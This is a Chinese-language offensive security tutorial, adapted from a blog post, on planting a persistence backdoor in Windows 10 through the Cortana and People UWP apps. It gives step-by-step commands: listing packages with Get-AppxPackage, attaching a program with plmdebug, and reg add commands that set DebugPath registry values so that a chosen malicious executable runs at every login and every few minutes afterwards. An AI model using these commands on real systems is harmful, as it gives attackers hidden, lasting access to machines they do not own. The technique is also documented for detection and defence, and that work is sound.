0x01 前言
这种权限维持方式也是一种自启动后门,但仅支持Windows 10通用应用平台(UWP)上的应用程序,如:Cortana和People。
只需将它置于调试模式后并配合Process Monitor工具找到UWP应用对应的注册表位置,然后修改为我们要执行的恶意程序,当机器注销/重启登录时就会执行这个程序。
原文地址:https://oddvar.moe/2018/09/06/persistence-using-universal-windows-platform-apps-appx
0x02 列出软件包名称
首先我们需要找出当前系统完整的软件包名称,因为后边PLMDebug调试时要用到,可以使用以下命令列出所有的软件包,这里仅显示name、packagefullname。
Get-AppxPackage | select name,packagefullname
0x03 安装PLMDebug
PLMDebug.exe包含在Windows调试工具中,所以我们只需要安装Windows 10 SDK即可,安装过程中只要选择“Debugging Tools for Windows”这一项就好了。
0x04 调试Cortana软件包
使用以下命令调试Cortana软件包,然后在开始菜单中打开Cortana,胡乱点一下,稍等片刻即可弹出cmd.exe。
plmdebug.exe /enabledebug Microsoft.Windows.Cortana_1.10.8.17134_neutral_neutral_cw5n1h2txyewy C:\Windows\System32\cmd.exe
Process Monitor监视到了它的注册表位置,而且发现写入了大量相关注册表项和值,所有注册表项的值都是:C:\Windows\System32\cmd.exe
,不过只要注销/重启系统后就没有了。
还在调试过程中发现这些行为都是由sihost.exe
进程产生,所以我们只要在Process Monitor过滤器中仅显示包含sihost.exe即可显示出来。
0x05 修改Cortana注册表
通过以下命令都可以实现持久化,方法都是一样的,只是注册表位置不一样,第一条会损坏原有Cortana程序,无法正常运行,第二条不会损坏原有Cortana程序,可以正常运行。
修改以下注册表项时必须先确定与你当前系统的UWP应用程序版本相对应,否则后门不会被触发。
People人脉:
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\PackagedAppXDebug\Microsoft.People_10.1807.2131.0_x64__8wekyb3d8bbwe /d "C:\Windows\System32\cmd.exe" reg add HKCU\Software\Classes\ActivatableClasses\Package\Microsoft.People_10.1807.2131.0_x64__8wekyb3d8bbwe\DebugInformation\x4c7a3b7dy2188y46d4ya362y19ac5a5805e5x.AppX368sbpk1kx658x0p332evjk2v0y02kxp.mca /v DebugPath /d "C:\Windows\System32\cmd.exe"
Cortana(小娜):
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\PackagedAppXDebug\Microsoft.Windows.Cortana_1.10.8.17134_neutral_neutral_cw5n1h2txyewy /d "C:\Windows\System32\cmd.exe" reg add HKCU\Software\Classes\ActivatableClasses\Package\Microsoft.Windows.Cortana_1.10.8.17134_neutral_neutral_cw5n1h2txyewy\DebugInformation\CortanaUI.AppXy7vb4pc2dr3kc93kfc509b1d0arkfb2x.mca /v DebugPath /d "C:\Windows\System32\cmd.exe"
注:笔者在当前测试环境下设置好了Cortana后门,在注销/重启系统登录时会执行1次,进入系统后每间隔5-20分钟左右会执行1次,这应该是微软后台自动运行了Cortana(小娜),所以会再次触发该后门,没有找到相关资料,具体原因不清楚,全靠猜,0.0 !!!